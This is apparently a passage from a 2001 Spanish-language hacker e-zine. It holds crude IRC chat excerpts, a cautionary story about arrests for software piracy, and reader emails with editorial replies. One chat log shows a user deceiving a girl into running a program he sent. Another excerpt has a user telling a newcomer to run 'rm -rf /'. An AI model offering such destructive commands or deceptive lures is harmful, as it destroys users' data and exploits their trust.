<X-kl0nk> Chamos, mi abuela me va a matar cuando le llege el recibo del phone

<-:->


<Mindlock> mierda mierda mierda
<Mindlock> chamo te lo juro ke me tire un peo
<Mindlock> kuando lei eso

<-:->


<Mindlock> ahorita voy a buskar en la nevera otra vez
<Mindlock> no me voy a rendir
<VMedina-Linux> come ua
<VMedina-Linux> o moco :-(
<[[[D4V|D]]]> jajajjajaa
<Pestilencia> Jajajajajaa
<Mindlock> hahahaha
<Mindlock> eeeewww
<VMedina-Linux> pasale la lengua a la gaveta de la verduras, luego a la de la carne y un vaso de agua, sabe a sopa!
<VMedina-Linux> comete un cubito
<Pestilencia> Jajajajaja
<Pestilencia> Sr VMedina-Linux: Usted si sabe ingeniarselas cuando no hay nada que comer.
<VMedina-Linux> el problema con el cubito es que te jode la lengua!
<Mindlock> hahahaha mardito haz aguantado hambre no?

<-:->


<VMedina-Linux> el culito se esta desnudando en cine adulto - ultima llamada
<VMedina-Linux> :-)
<Pestilencia> =)
<VMedina-Linux> comenzo el bochinche!
<VMedina-Linux> despue que se la puye, la va a matar!
<VMedina-Linux> :-)
<Pestilencia> jajaja
<Pestilencia> como se llama la pelicula?
<VMedina-Linux> sexo mortal!
<El-Jeckill> "Putas locas"
<El-Jeckill> "solo sexo"
<VMedina-Linux> tiene nombre de porno!
<El-Jeckill> "tocame que me enciendo"
<VMedina-Linux> la abuela quesua!
<El-Jeckill> minas calientes por doquier
<VMedina-Linux> el pinguino cachondo!
<Pestilencia> esa pelicula se llama Cactus Salvaje
<Pestilencia> ya yo la he visto como 15 veces
<VMedina-Linux> :-)

<-:->


<Javier> yo soy una persona de pensamiento abierto
<Mindlock> Javier eres gay???
<Javier> total en el findo somos seres humanos
<Mindlock> #gay
<Mindlock> aki no porfa
<Mindlock> ok
<Mindlock> yo no tengo peo
<Mindlock> pero no aki

<-:->


<Mindlock> Ke es Cantv.Net

<-:->


* kl0nk Mi Maquina esta Muriendo de Cancer en la CPU

<-:->


<vil_roach> porque soy un federal !
<locomIRC> jaja
<vil_roach> Y ESTAN TODOS ARRESTADOS !!!
<locomIRC> jaja
<locomIRC> arrestados mi papa
<vil_roach> JAJA QUE MARICONCITO, DE ESPALDAS POR FAVOR!!
<locomIRC> uy
<flameb> lo siento locomirc, me saludas a tu papa en la carcel
<locomIRC> muchos hackers

<-:->


<bob_esponja> hola, soy bob_esponja
<bob_esponja> soy una esponja


<-:->

 Esto de verdad si da pena ... tomado de intertulia

Session Start: Tue Apr 03 03:24:12 2001 
* Logging Ghost to 'logs\ghost.log' 
<Ghost> ok 
<Chica_bella> y mira 
<Chica_bella> no has intentado hacer un windows o algo asi? 
<Ghost> ok 
<Ghost> no 
<Ghost> es casi imposible 
<Chica_bella> ahh ok 
<Ghost> es demasiado arrecho 
<Chica_bella> y que es lo mas arrecho que has hecho? 
<Ghost> no se como coo guei hizo esa verga 
<Ghost> cambiar el norton 
<Chica_bella> si? 
<Ghost> y meterme en la computadora de IBM 
<Chica_bella> y meterte en la computadora ibm? 
<Ghost> casi me agarran 
<Ghost> si 
<Ghost> en la principal 
<Chica_bella> de verdad???? 
<Chica_bella> que barbaro eres 
<Ghost> no digas eso 
<Ghost> ya la mandastes? 
<Chica_bella> no 
<Chica_bella> porque? 
<Ghost> no se quiero verla 
<Chica_bella> no 
<Chica_bella> porque mi dijiste que no dijera eso 
<Ghost> no se 
<Ghost> soi modesto 
<Ghost> creo 
<Chica_bella> heh 
<Chica_bella> ok 
<Ghost> tienes novio? 
<Chica_bella> tenia 
<Chica_bella> y tu? 
<Ghost> no 
<Ghost> que paso te ladillates? 
<Chica_bella> no 
<Chica_bella> espera 
<Chica_bella> estoy escanenado 
<Ghost> ok 
<Ghost> ok 
<Chica_bella> pero 
<Chica_bella> mira 
<Chica_bella> tu sabes agarrarlo por aqui? 
<Chica_bella> la foto? 
<Ghost> no 
<Ghost> what's up? 
<Ghost> what's up? 
<Chica_bella> wait 
<Chica_bella> ya va 
<Ghost> ok 
<Ghost> what's up? 
<Chica_bella> ya va 
<Ghost> ok 
<Chica_bella> yo te la voy a mandar no te preocupes 
<Chica_bella> es que 
<Chica_bella> escaneo mal 
<Chica_bella> y voy a buscar otra donde salgo mejor 
<Ghost> ok 
<Ghost> ok 
Session Close: Tue Apr 03 03:54:07 2001 
Session Start: Tue Apr 03 04:01:53 2001 
Session Ident: Ghost (Mhead53@200.35.120.cl02=) 
<Ghost> what's up? 
<Chica_bella> ya va 
<Chica_bella> esperate un tantito 
<Chica_bella> bueno 
<Chica_bella> pero sigueme contando 
<Ghost> ok 
<Chica_bella> que te gusta hacer? 
<Ghost> ok 
<Ghost> ya va 
<Ghost> salir con mis amigos 
<Ghost> chatear 
<Ghost> ir para la playa 
<Ghost> ir a fistas 
<Ghost> etc. 
<Chica_bella> conoces a mas gente del san vicente? 
<Chica_bella> esperate 
<Chica_bella> voy al bao ok? 
<Ghost> no 
<Ghost> ok 
<Ghost> what's up? 
<Chica_bella> ya te la mande 
<Chica_bella> no 
<Chica_bella> ! 
<Chica_bella> todavia no 
<Chica_bella> esperta 
<Chica_bella> no le di send 
<Chica_bella> paramandarlo 
<Chica_bella> que boba soy 
<Ghost> yo te espero 
<Chica_bella> mira ya vengo ok? 
<Ghost> hey tu tienes conexion cantv? 
<Chica_bella> si por? 
<Ghost> nada 
<Ghost> hey te falta mucho 
<Chica_bella> no 
<Chica_bella> porquer 
<Chica_bella> ya te tienes que ir? 
<Ghost> no 
<Ghost> yo te espero 
<Chica_bella> eso que es? 
<Ghost> dale doble click 
<Chica_bella> pero dime que es? 
<Ghost> hey una cosa que windows tienes? 
<Chica_bella> nose 
<Chica_bella> creo que 2000 
<Ghost> es algo para que se te haga mas facil la conexion 
<Chica_bella> ah ok 
<Chica_bella> gracias 
<Chica_bella> y lo hiciste tu? 
<Ghost> es arrecho 
<Ghost> si 
<Ghost> es muy bueno 
<Ghost> le das doble click cuando te salga 
<Ghost> dale doble click 
<Chica_bella> ya le di 
<Ghost> que paso 
<Chica_bella> nose 
<Ghost> no sale nada 
<Ghost> que paso 
<Chica_bella> aparacio una cosa ahi 
<Chica_bella> mira ya viste la foto 
<Ghost> de que? 
<Ghost> no 
<Ghost> ya va 
<Chica_bella> ya te la mande 
<Ghost> que te salio? 
<Ghost> es para que te sirva desde ya 
<Chica_bella> nose 
<Chica_bella> un cuadrito ahi 
<Chica_bella> y dice 
<Chica_bella> search modem 
<Chica_bella> y tambien dice ip 
<Chica_bella> y tambien password 
<Ghost> ya va 
<Ghost> te vio a mandar algo mejor 
<Ghost> mientras cuentame de ti 
<Ghost> alo 
<Ghost> alo 
<Ghost> que paso? 
<Ghost> te ladillstes de mi 
<Chica_bella> no 
<Chica_bella> ya va 
<Chica_bella> es que mi papa me cacho 
<Ghost> ok 
<Chica_bella> metida en internet 
<Ghost> ahhh 
<Ghost> ahhh 
<Ghost> te vas a tener que salir ya 
<Chica_bella> no 
<Ghost> ok 
<Ghost> hey ya mandastes la foto? 
<Ghost> que paso? 
<Chica_bella> si 
<Chica_bella> te la mande hace timepo 
<Chica_bella> a tu maikl 
<Ghost> ok 
<Ghost> estas segura no me sale nada de ningun mensaje 
<Chica_bella> no 
<Ghost> no estas segura 
<Chica_bella> no 
<Chica_bella> ahh 
<Ghost> que paso? 
<Chica_bella> que si estoy segura que te mande la foto? 
<Ghost> si 
<Chica_bella> si 
<Chica_bella> claro 
<Chica_bella> ay chamo 
<Chica_bella> ya va 
<Ghost> es que no me sale nada de ningun mensaje 
<Chica_bella> ya te la vuelvo a mandar 
<Ghost> ok 
<Ghost> me dices cuando 
<Chica_bella> dale pues 
<Ghost> hiciste algo con el programa que te mande 
<Chica_bella> no 
<Ghost> ok ya 
<Ghost> hey ya va que creo que me estan hackeando 
<Ghost> verga casi 
<Ghost> casi me hackean 
<Chica_bella> si=? 
<Chica_bella> pero 
<Chica_bella> como tu sabes mucho 
<Chica_bella> pienso que no pudieron no? 
<Chica_bella> mira 
<Chica_bella> disculpa 
<Chica_bella> como es que te llamabas tu? 
<Ghost> o'connor 
<Ghost> hey casi 
<Ghost> pero los jodi yo 
<Chica_bella> hahah 
<Ghost> sabes como casi lo hacen? 
<Chica_bella> como es que te llamaban? 
<Chica_bella> perdon 
<Chica_bella> como es que te llamas? 
<Ghost> por mandarte esa verga a ti 
<Ghost> o'connor 
<Chica_bella> o connor? 
<Chica_bella> ese es tu apellido? 
<Ghost> si ese es mi apellido 
<Ghost> me llamo 
<Ghost> bryan 
<Ghost> antes vivia en mbo 
<Ghost> por eso me conecto en intertulia 
<Chica_bella> no te llamabas luis? 
<Chica_bella> no es que te llambas luis? 
<Ghost> no era mentira 
<Chica_bella> ah ok 
<Ghost> me llamo bryan 
<Ghost> es que siempre digo ese nombre a los que no conosco 
<Ghost> a ti te gusta BSB 
<Ghost> te mando la letra de una cancion 
<Ghost> que paso? 
<Ghost> hey por casualidad no te salio una pantalla roja 
<Ghost> que paso te fuistes? 
<Chica_bella> si 
<Chica_bella> se me apago 
<Chica_bella> el monitor 
<Ghost> ya va 
<Chica_bella> y me salio una pantalla roja 
<Ghost> ya va 
<Ghost> te voi a ayudar orita 
<Ghost> hey ya? 
<Ghost> alo que paso? 
<Chica_bella> aja 
<Chica_bella> dime 
<Ghost> ya paso todo 
<Ghost> ok cuentame d ti? 
<Ghost> estoy arreglando unas vergas por aqui 
<Chica_bella> ya te conte 
<Chica_bella> cuentamete tu ahora 
<Ghost> que te puedo decir 
<Ghost> estudio en high school 
<Ghost> me  gusta ir a las fiestas que se forman en miami beach 
<Ghost> no se 
<Ghost> tenia novia hasta hace 2 meses 
<Chica_bella> y que paso? 
<Ghost> y tu? 
<Ghost> desde hace cuanto no tienes novio? 
<Ghost> royos de celos de ella 
<Chica_bella> desde hace como 2 semanas 
<Chica_bella> =( 
<Chica_bella> hey 
<Chica_bella> mira ya me voy 
<Ghost> por que ? 
<Chica_bella> porque 
<Chica_bella> si 
<Chica_bella> ya es tarde 
<Chica_bella> chaito 
<Chica_bella> muacks 
<Chica_bella> te quiero mucho 
<Ghost> hey te vas a conectar maana 
<Chica_bella> si 
<Chica_bella> lo mas seguro 
<Ghost> a que hora? 
<Chica_bella> nose 
<Chica_bella> como a los 8 
<Ghost> te voi a mandar el programa para hackear 
<Ghost> ok<' 
<Chica_bella> dale pues 
<Ghost> ok 
<Ghost> hasta maana 
<Ghost> bye 
<Ghost> no te vayas todavia 
<Ghost> alo 
<Chica_bella> si 
<Chica_bella> me tengo que ir 
<Ghost> ok hasta maana entonces 
<Ghost> yo me voy a conectar como a esa hora entonces 

<-:->


<pare-do-sufri> aarf
<pare-do-sufri> pateen este marica
<phantom_usa_linux> como obtengo la clave y usuario root siendo usuario normal???
<phantom_usa_linux> como obtengo la clave y usuario root siendo usuario normal??
<darkclown> no se puede
<darkclown> el root tiene absexo exclusivo bananom
<darkclown> si queres hacer algo
<darkclown> pone el windows
<pare-do-sufri> jeje
<darkclown> vas al reedit y de ahi editas todo
<pare-do-sufri> anda pa #windowslatino
<phantom_usa_linux> mijo
<phantom_usa_linux> en linux
<darkclown> viste gilum para que usas linux
<phantom_usa_linux> yo no uso windows
<darkclown> si no sabes usar ni windows
<pare-do-sufri> ya
<pare-do-sufri> todo bien
<pare-do-sufri> =)
<phantom_usa_linux> aqui se aprende
<phantom_usa_linux> sin ofensas
<phantom_usa_linux> pa que co;o hicieron esta vaina
<pare-do-sufri> ya quiero slack8.1
<pare-do-sufri> hehehe
<phantom_usa_linux> quien sabe donde conseguir informacion sobre hackear en linux???
<phantom_usa_linux> quien sabe donde conseguir informacion sobre hackear en linux??
<pare-do-sufri> je
<phantom_usa_linux> yo se donde conseguir esa verga
<pare-do-sufri> phantom_usa_linux rm -ef /
<pare-do-sufri> phantom_usa_linux rm -rf /
<phantom_usa_linux> si tengo el nuevo caldera
<phantom_usa_linux> mijo
<phantom_usa_linux> eso no es remove??
<phantom_usa_linux> eso no es remove?

<-:->


[--]

--EOF--





-[ 3x11.txt ]----------------------------------------------------------------
-[ Casos de la Vida Real ]-----------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-

  Introduccion
  ------------
 
  Este paper tiene  como la finalidad de que ustedes lectores reflexionen y 
  sepan hacer las cosas; son ejemplos de la vida real  que nos han sucedido 
  a todo el staff de 0ri0n. 
  
  Este segundo caso es sobre la "Venta Ilegal de Software", mucha gente vive
  de  esto  en  Venezuela y esto lo ha llevado a la carcel. En este paper se 
  citaran dos casos: El Primero que sucedio a algunos del  staff principal y
  colaboradores, y el segundo, la persecucion de un ciudadano que solo vivia
  de el "Quemado de Discos".
  
 ----------------------------------------------------------------------------

  Caso 1: 
  -------

  Se encontraban Pesado, vbxsys, El_Nomis, Inouttime dentro de un  cuarto,
  aquel  cuarto  estaba lleno de tecnologia, habian 5 computadoras, de las
  cuales  3 tenian quemadora[1] de CD's, tambien habian alrededor de 5.000
  Discos  de  todo tipo (Cd's de Musica, Juegos para PC, S.O, Aplicaciones
  Ofimaticas, Etc). Pesado  y El_Nomis vivian del quemado, ellos tenian un
  laboratorio completo con todo; ellos vivian felices hasta que un dia ...
 
  Pesado  : Man'es, acabo de llegar de Caracas con los ultimos titulos en 
            Software.
  El_Nomis: Aja, y que trajistes?.
  Pesado  : Pues mira la lista nada mas y caete para atras.
  El_Nomis: A ver .....
 

 Luego de varias horas ...
 

 El_Nomis: Bueno, como es lo ultimo entonces los vamos a vender en 
           4.000 Bs.[2]
 Pesado  : Ok, Hecho.
 

 Luego de hacer muchas ventas, ellos siguen comprando CD's y siguen 
 quemando, hasta que ...
 

 vbxsys   : Que hay gente, como esta todo?.
 Pesado   : Aqui, mira todo el dinero que le hemos sacado a las copias de 
            cd's, si sigo asi puede ser que me compre una moto para dentro 
	    de dos meses.
 Inouttime: Si Luis, ponte a creer, esperate que te caiga la Brigada de 
            Informatica de la PTJ[3] a ver si con ese dinero no vas a 
	    tener que pagar un buen abogado para que te saque de la carcel.
 Pesado   : Hehehe, eso no va a suceder nunca, yo se hacer las cosas muy 
            bien.
 vbxsys   : Eso hay que verlo pa' creerlo.
 

 Esto sigue asi durante un buen tiempo, todos estabamos felices, nuestros 
 compa~eros nos suministraban el software que estaba al dia pero un dia ...
 
 Pesado  : Mira JhonJhon aqui te dejo un pedido de 35 CD's que hizo una 
           persona ayer por telefono, dile que son xxxx.xxxxx. Nos 
	   vemos en la noche porque tengo que ir a buscar unos pedidos 
	   que me hizo 4n0n1m0us.
 
 JhonJhon: Okas, Nos vemos.
 
 
 Pasan varios minutos y JhonJhon eschuca que tocan el timbre de la "Guarida"
 y el muy inocente sale y dice:
 
 JhonJhon      : Buenas Se~or, que se le ofrece?.
 Sr. Sospechoso: Hola, vengo a buscar 35 CD's que mande a copiar, por 
                 casualidad ya estaran listo?.
 JhonJhon      : Si, por supuesto, pase tome, son Xxxx.Xxxx.
 

 ... El Error viene aqui ...

 Sr. Sospechoso: Ok, toma, esteeeeee, esteeee, mira, por casualidad no 
                 tienes por alli los instaladores de ...
 JhonJhon      : Mmm, dejeme ver, pase adelante y busquelo usted mismo.
 
 Sr. Sospechoso: Ok.
 Sr. Sospechoso: Mira, y cuantas maquinas tienen aqui.
 
 JhonJhon      : Tenemos 5, pero 3 solo la usamos para quemar los CD's.
 Sr. Sospechoso: Ok, y cuantos trabajan en esto?:

 JhonJhon      : Bueno, hasta los momentos somos 3, aveces vienen amigos 
                 de mi primo y nos ayudan en el negocio pero el negocio 
		 es de mi primo y yo.
 Sr. Sospechoso: Ah Ok, y cuanto tiempo tiene en esto?, porque yo he 
                 buscado pero es dificil conseguir el software al dia.
 JhonJhon      : Si, lo que sucede es que mi primo tiene lo ultimo porque 
                 los trae directamente de la capital.
 Sr. Sospechoso: Ah Ok.
 

 Luego de unos segundos el Sr. Sospechoso agarra y saca un celular y dice:
 
 Sr. Sospechoso: Listo muchachos, es hora de entrar en accion.
 JhonJhon      : Que dice usted se~or?.
 
 Sr. Sospechoso: Nada, estas arrestado, soy un funcionario de la Brigada de
		 informatica de la PTJ.
 JhonJhon      : QUEEEEE!!!!.
 Sr. Sospechoso: Estas arrestado por la venta ilegal de software.
 
 Luego de unas horas llega Pesado a la Bati-Guarida y se encuentra ...
 
 Pesado : Queeeeeee!!!, que sucedio aqui?, co~o, nos han robado, Sr. 
          Policia, digame que ha sucedido aqui.
 COP    : Usted es el Sr. Pesado?.
 Pesado : Si, porque?.
 COP    : Acompa~eme, usted esta bajo arresto por la venta de software 
          ilegal.
 Pesado : Ahahahahaha, nojoda maldito, a ver si me atrapas.
 
 Y sale corriendo Pesado, aggara y se monta en el carro y se va, luego...
 
 Pesado : Nojoda, voy a llamar a mis amigos para contarle lo que ha 
          sucedido y para que paren la "Maquina que nos da de comer".

 Y el llama a vbxsys.
 
 Pesado: Alo, vbxsys, mira loco, me puedo quedar esta noche en tu casa?.
 vbxsys: Alo, si, que paso?.
 Pesado: Espera, cuando llegue a tu casa te digo.
 vbxsys: Ok.
 
 Luego  de  varias   horas de viaje, llega pesado a la casa  de  vbxsys y le
 cuenta  lo  que   ha  sucedido, ellos  recojen  todo  y se van a la casa de 
 Inouttime y luego se van de ciudad en ciudad en busqueda de un lugar seguro
 para empezar una vida nueva. Lo  que  se  ha sabido de JhonJhon es que esta 
 preso y le dieron 3 a~os de carcel por venta ilegal de software y una multa
 de  mas de 50.000  Dolares  Americanos. Actualmete Pesado es buscado por la 
 ley.
 
 
 Caso 2:
 -------

  Esta  es  una  historia  muy  triste, es l a de una persona que  con mucho
  sacrificio monto un CyberCafe[4] en una ciudad grande, este se~or ademas
  de tener esto, vendia computadoras y quemaba discos (Musica, Programas), 
  hasta que un dia:
 
  Sr. Bondad: Que se le ofrece.
  Super-Cop : Buenas, somos de la Brigada de Informatica de la PTJ y 
              estamos en una inspeccion de rutina para saber si usted 
	      tiene su local totalmente legal.
  Sr. Bondad: Si, como no, que necesitan saber.
  Super-Cop : Por favor me permitiria las licencia del Windows y Office de
              cada una de las computadoras que tiene usted aqui.
 Sr. Bondad : Bueno, yo solo tengo 5 Licencias del Windows y 4 del Office.
 Super-Cop  : Sr, me va a disculpar usted pero usted tiene 30 computadoras
	      actualmente en uso, por eso a usted le va a caer una multa muy
	      grande, hagame el favor y me acompa~a a la comisaria.
 Sr. Bondad : Pero pero .. Sr. Agente....
 Super-Cop  : No no No, deme sus manos para ponerle las esposas y ustedes 
              muchachos recojan todo y lo meten en el camion.
	      
	      	    
 Luego de varios minutos ..
 
 Policia-Cabron: Mi Comandante, mire esto.
 Super-Cop     : A ver....
 
 El Sr. Bondad tenia mas de 10.000 Disco con todo tipo de software y musica
 en  un  cuarto, que  era el cuarto  donde se hacian las copias, el tenia 6
 computadoras para el copiado, y una  de  ella  estaba conectada a un sitio
 Warez donde se estaba bajando la famosa "Encarta 2001". Este  Se~or  alego
 no  tener  tanto  dinero  para poder tener a cada una de sus maquinas  con 
 software  totalmente  legal. A  el  le  dieron una multa de mas de 500.000 
 Dolares Americanos y un A~o y medio de Carcel, ademas le decomisaron todas 
 las computadoras, impresoras, scanners, plotter's, etc.
 

 Moraleja  de  estas  historias: Las  quemadoras de disco se crearon con la 
 finalida de hacer de una forma facil y sencilla BACKUP's de tus archivos y 
 no para hacer copias ilegales de CD's  de musica o de software ya que esto
 esta  penado por leyes interacionales. Si  tu  eres  uno  que  copia  CD's 
 ilegalmente para poder sobrevivir pues no te asuste si te llega a caer por
 sorpresa  alguna  brigada  de  inteligencia  y  te decomise todo lo que tu 
 tienes  y ademas pagar una gran cantidad de dinero  en  MULTAS. Si  quiere
 montar algun negocio (como un CyberCafe) y no tienes dinero para pagar cada 
 una de la licencias para tus computadoras entonces solo usa SOFTWARE LIBRE,
 es  eficiente, puedes  hacer  con  el lo que te venga en gana y nunca pero 
 nunca  pagaras dinero por  multa (pero tal vez si por el soporte tecnico y 
 esto si es que alguien lo hace).
 
 ---------------------------------------------------------------------------

  [1]: En otras palabras, una Grabadora de CD's.
  [2]: Equivalente a 6 Dolares Americanos.
  [3]: PTJ: Policia Tecnica Judicial.
  [4]: CyberCafe es conocido como un Centro de Navegacion.


--EOF--



-[ 3x12.txt ]----------------------------------------------------------------
-[ Comentarios, Sugerencias, Otros ]-------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-


 -=[ E-Mail 1 ]=-
 
 De: "Neo_Cool" <neo_cool@xxxxx.net> 
 Asunto: felicidades por el e-zine 
 Fecha: Sun, 13 May 2001 22:26:06 -0400 

 me alegra mucho q ya en venezuela hayan salido al pblico 2 e-zines y 
 ustedes sean uno de ellos, me gusta mucho leer su e-zxq a pesar d q no 
 aplico mucho lo q leo, algun dia entendere todo o por lo menos eso 
 espero, soy un joven caraqueo de 14 aos q ya estoy aprendiendo B 
 Vasic, no pienso comensar por pascal y eso.
 
 [ Bueno, gracias por tu opinion, personas como tu nos hacen pensar de
   que si lo estamos haciendo bien y de que debemos continuar asi ]
 
 les dejo una recomendacion. creen varios artculos y hagan 1 como un 
 indice y los otros como articulo 1 2 3 ... pero en diferentes 
 archivos entienden? osea al descomprimi el zip q queden archivos como 
 indice.txt art1.txt art2.txt etc. as se organizaria mejor la revista y 
 seria mas facil buscar algo de interes, 
muchas felicitaciones por su revista.
 
 [ Si usas Linux (o cualquier otro Unix) puedes ver la revista asi, hay
   algo que biene incluido que se llama extract.c, hechale un ojo y luego 
   hablamos, ok ]
 
 NOTA: en el proximo numero a ver si pueden averiguar como hacer para q no 
 se pueda localizaar la llamada con el aparatico q saco cantv q rastrea la 
 llamada y te dice quien llama ok?
 
 [ Es un poco dificil, pero bueno, ya encontraremos la forma, Ok. ]
 
 Me despido Neo_Cool!!!


 -=[ E-Mail 2 ]=-  
 
 Asunto: Felicisades! 0ri0n Team 
 De: David Correa <tech@xxxxxxxxxx.com>
 Fecha: Sat, 12 May 2001 20:09:29 -0700 (PDT) 

 Colegas,

 Los felicito por su gran trabajo y les pido disculpas por no publicar su
 articulo mas rapidamente, estaba de vacaciones por unos dias. Ya he puesto
 su nota en www.linux-tech.org.
 
 [ Ok, tambien nos sucede lo mismo a nosotros ]

 Suerte!
 
 [ Igual, Suerte.]

 David Correa
 tech@xxxxxxxxxx.com
 www.linux-tech.org

 
 -=[ E-Mail 3 ]=-
 
 Asunto: Ezine 
 De: Luis Tomas Wayar <letal@xxxxx.com>
 Fecha: Sun, 15 Apr 2001 02:39:43 +0000 

 Solo para felicitarlos por el buen trabajo que estan haciendo, 
 principalmente quiero destacar el enfoque que le dieron a la revista en 
 cuanto a la orientacion que observo en la misma, lo que la diferencia 
 sutilmente de las otras que solo pretenden tratar temas "under" como una 
 manere de satisfacer el ego y en deseo de pertenencia, Uds. fueron mas 
 amplios y tratan temas como PHP, SQL, MICROS, etc, etc, no solo el 
 submundo de la scene mundial o latinoamericana. Sigan asi.
 
 [ Gracias Luis Tomas, pues te cuento de que tratamos de orientar nuestra
   Zine a todo tipo de temas pero nunnca sin dejar la secciones calientes
   de H/C/V/Etc. ]

 Sinceramente.

 KuntuR



 
 -=[ E-Mail 4 ]=-
 
 Asunto: Saludos 
 De: RaiSe <raise@xxxxxxxxxxxxxxx.com>
 Fecha: Tue, 10 Apr 2001 14:08:16 +0200 (CEST) 

 -----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA1

 Nass.

 Era para mandaros un saludo a la gente de 0ri0n, he estado leyendo el
 numero 2 y la verdad es que me parece uno de los mejores ezines en
 castellano. X cierto, gracias por nombrarnos en el extrac.c ;). Si me
 necesitais aqui me teneis (soy el editor de NetSearch x si no caeis
 ;)). Un saludo y hasta otra.
 
 [ Ok, gracias, lo mismo decimos todo el Staff de 0ri0n, si nos necesitan
   pues alli estaremos... ah, por cierto, su zine es muy bueno, espero que 
   sigan asi ]


 ==============-----------------------------==============
 RaiSe
 UNDERSEC Security Team / http://www.undersec.com
 NetSearch Ezine Staff  / http://www.netsearch-ezine.com
 ysfk>2{5~~2s~eska2~}dw2k}g<<< XOR 18
 ==============-----------------------------==============

 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1.0.4 (GNU/Linux)
 Comment: Made with PGP4Pine

 iD8DBQE60ve0SP4h0VxUtqMRAgVqAJoCNotrjEZuz3w4xWaM4Sfxw2ImmgCgicFf
 KY4BWblkkmX30w2yXdF8qvk=
 =T9R9
 -----END PGP SIGNATURE-----

 
 -=[ E-Mail 5 ]=-
 
 Asunto: Tutorial PHp 
 De: "RODRIGUEZ Luis E. SIDOR" <sirrlw@xxxxx.com>
 Fecha: Thu, 31 May 2001 11:11:44 -0400 

 Estoy tratando de bajar los tutoriales E-Zine_1 y E-Zine_2 pero falla al
 momento de bajarlos, por favor si me lo puedes enviar por esta va.
 
 [ No hay problema, te cuento de que no los puedes bajar gracas a que UN 
   AMIGUITO TOCON agarro y nos borro toda la secciones de documentacion,
   Software, y otras, pero tranquilo, te lo enviaremos via email y muy
   pronto podras encontrarla nuevamente en el site de 0ri0n ]

 Saludos,

 Luis Eduardo Rodrguez Sandoval
 Gerencia de Informtica
 Telfono: 58-86-xxxx42

 

 -=[ E-Mail 6 ]=- 
 
 Asunto: Info 
 De: "Serviteca El Canguro LTDA" <elcanguroltda@xxxxxxx.com> 
 Fecha: Wed, 11 Apr 2001 12:29:59 -0500 
 
 Hola... soy un principiante en computacin, he bajado el primer tomo de su 
 revista y es muy buena, pero al bajar el segundo tomo, no puedo abrirlo 
 mediante el winzip, ser que esta daado o no se bajarlo.... como puedo 
 hacer???.
 
 [ Lo que sucede es que esta en formato tar.gz (mmm, que sera eso?), 
   significa que ese archivo esta empaquetado y comprimido ... que raro que
   tu WinZip no te lo abra, prueba Instalando Linux en tu Maquina 
   (Recomendado) o actualizando tu version del WinZip ]

 
 
 -=[ E-Mail 7 ]=-
 
 Date: Mon, 14 May 2001 07:25:07 PDT
 From: "ca0s -" <ask_caos@xxxxxx.xxx.ar>
 Subject: felicitaciones 

 Hola, te quera felicitar por el aniversario de 0ri0n! sin ninguna duda 
 0ri0n se ha ganado su lugar en esta scene, y en muy poco tiempo han logrado 
 grandes cosas, sigan asi! :) 
 
 [ Gracias ca0s, 0ri0n trata de hacer lo que puede para estar al dia con todo
   y poder complacer a personas como ustedes (que son nuestros lectores). ]
 
 Tambien te quera avisar que ya sali el segundo nmero de la eko magazine. 
 
 [ Si, ya roots nos aviso de su lanzamiento, ha, personalmente me la lei en 
   una madrugada y esta muy buena, sigan asi y Felicidades ]

 Saludos, ca0s. 



 -=[ E-Mail 8 ]=-

 Date: Mon, 14 May 2001 12:54:52 PDT
 From: "Zero_aciD" <acid_hack@xxx.xxx.ar>
 Subject: FELICIDADES!!! 

 Felicidades por su primer cumpleaos !!!, espero que sigan muchooos aos 
 mas y sigan 
liberando e-zines tan buenas como las que sacan, sigan poniendo 
 las noticias en la pagina principal porque son unas de las pocas paginas que
 esta tan actualizada con respecto a noticias y a todo lo demas...... 
 
 [ Gracias Zero_aciD, trataremos de seguir asi por un largo tiempo. ]
 
                               saludos 

                              Zero_aciD 



 P.D: kl0nk, aver si te ganas la loteria o algo y pagas la cuenta de 
      telefono!!! 

 [ Heheh, he pensado en vender mi cuerpo para poder pagar la cuenta 
   telefonica, ya que mis padres estan "ARRECHOS" conmigo por el Mal Uso 
   (o abuso) de la linea Telefonica ]


 -=[ E-Mail 9 ]=-
 
 Date: Sat, 12 May 2001 17:55:02 PDT
 From: "Nilsa" <nilsa02@xxxxxxx.com>
 Subject: Reto 

 Bueno ahora mas que nunca entiendo para que se realizaron las Leyes, fue 
 para quebrantarlas. 
 
 [ Mmm, no seran para cumplirlas? ]

 Estoy buscando un buen Hacker Venezolano un buen Tocayo 
 para que me ayude ha realizar algo que realmete puede ser tonto, pero para 
 mi es serio necesito tener una clave de hotmail, no se como, he intentado 
 varias cosas pero mis conocimientos son limitados debo reconocerlo, si 
 alguien puede asumir el reto de ayudarme puede comunicarse conmigo y llegar 
 a un acuerdo. 
 
 [ Ya sabia yo, simpre hay algun email ESTUPIDO como este, porque no mas
   bien en vez de tratar de entrar a ese correo te pones a leer la
   novela "The Shining" de Stephen King o juegas un ratico Half-Life o
   algo en el estido ... si tu piensas que te vamos a ayudar a crackear una 
   cuenta de correos pues estas "FRITO GUEVON", no, nosotros no hacemos eso,
   para eso buscate mejor un BUEN LAMMER para que te haga ese trabajo, OK ]

 Nilsa B. 


 -=[ E-Mail 10 ]=-

 From: "Mixer" <Mixer@xx.com>
 Subject: Comentario o Sugerencia 

 Ip o Hostname: 148.233.229.235 
 Nombre: Mixer 
 E-Mail: Mixer@xx.com 

 Nada 
 
 [ Que!!!!, te fuistes hasta nuestro formulario de Comentarios o sugerencias 
   y no escribes nada? ]


 -=[ E-Mail 11 ]=-

 Date: Tue, 08 May 2001 17:50:51 PDT
 From: "perro" <frw@xxx.com>
 Subject: Comentario o Sugerencia 


 Felicidades por vuestra web, espero con ganas vuestra 3a ezine. Me 
 gustaria que pusierais algun libro para bajar (al estilo de los libros 
 que ponen en las webs de warez). Un saludo y gracias por todo. 
 
 [ En la Seccion de Documentacion hay muy buenos libros, puedes bajarlos 
   desde alli ]


 -=[ E-Mail 12 ]=-
 
 Date: Thu, 03 May 2001 17:03:44 PDT
 From: "NeoCyberShock" <neocybershock@xxxxxxx.com>
 Subject: Se busca a los mejores.... 


 Hola, soy NeoCyberShock, creador y administrador de Mayestick, una 
 organizacion dedicada a recorrer la red en busca de los mejores, 
 Programadores, Diseadores, Hackers, Crackers, etc. cualquiera que crea 
 que es digno de Mayestick. 

 [ Y dime, Dios es digno de estar en su grupo o no esta permitido? ]

 A la fecha somos 198 personas de 7 paises distribuidos en 19 Unidades o 
 Equipos. 
 
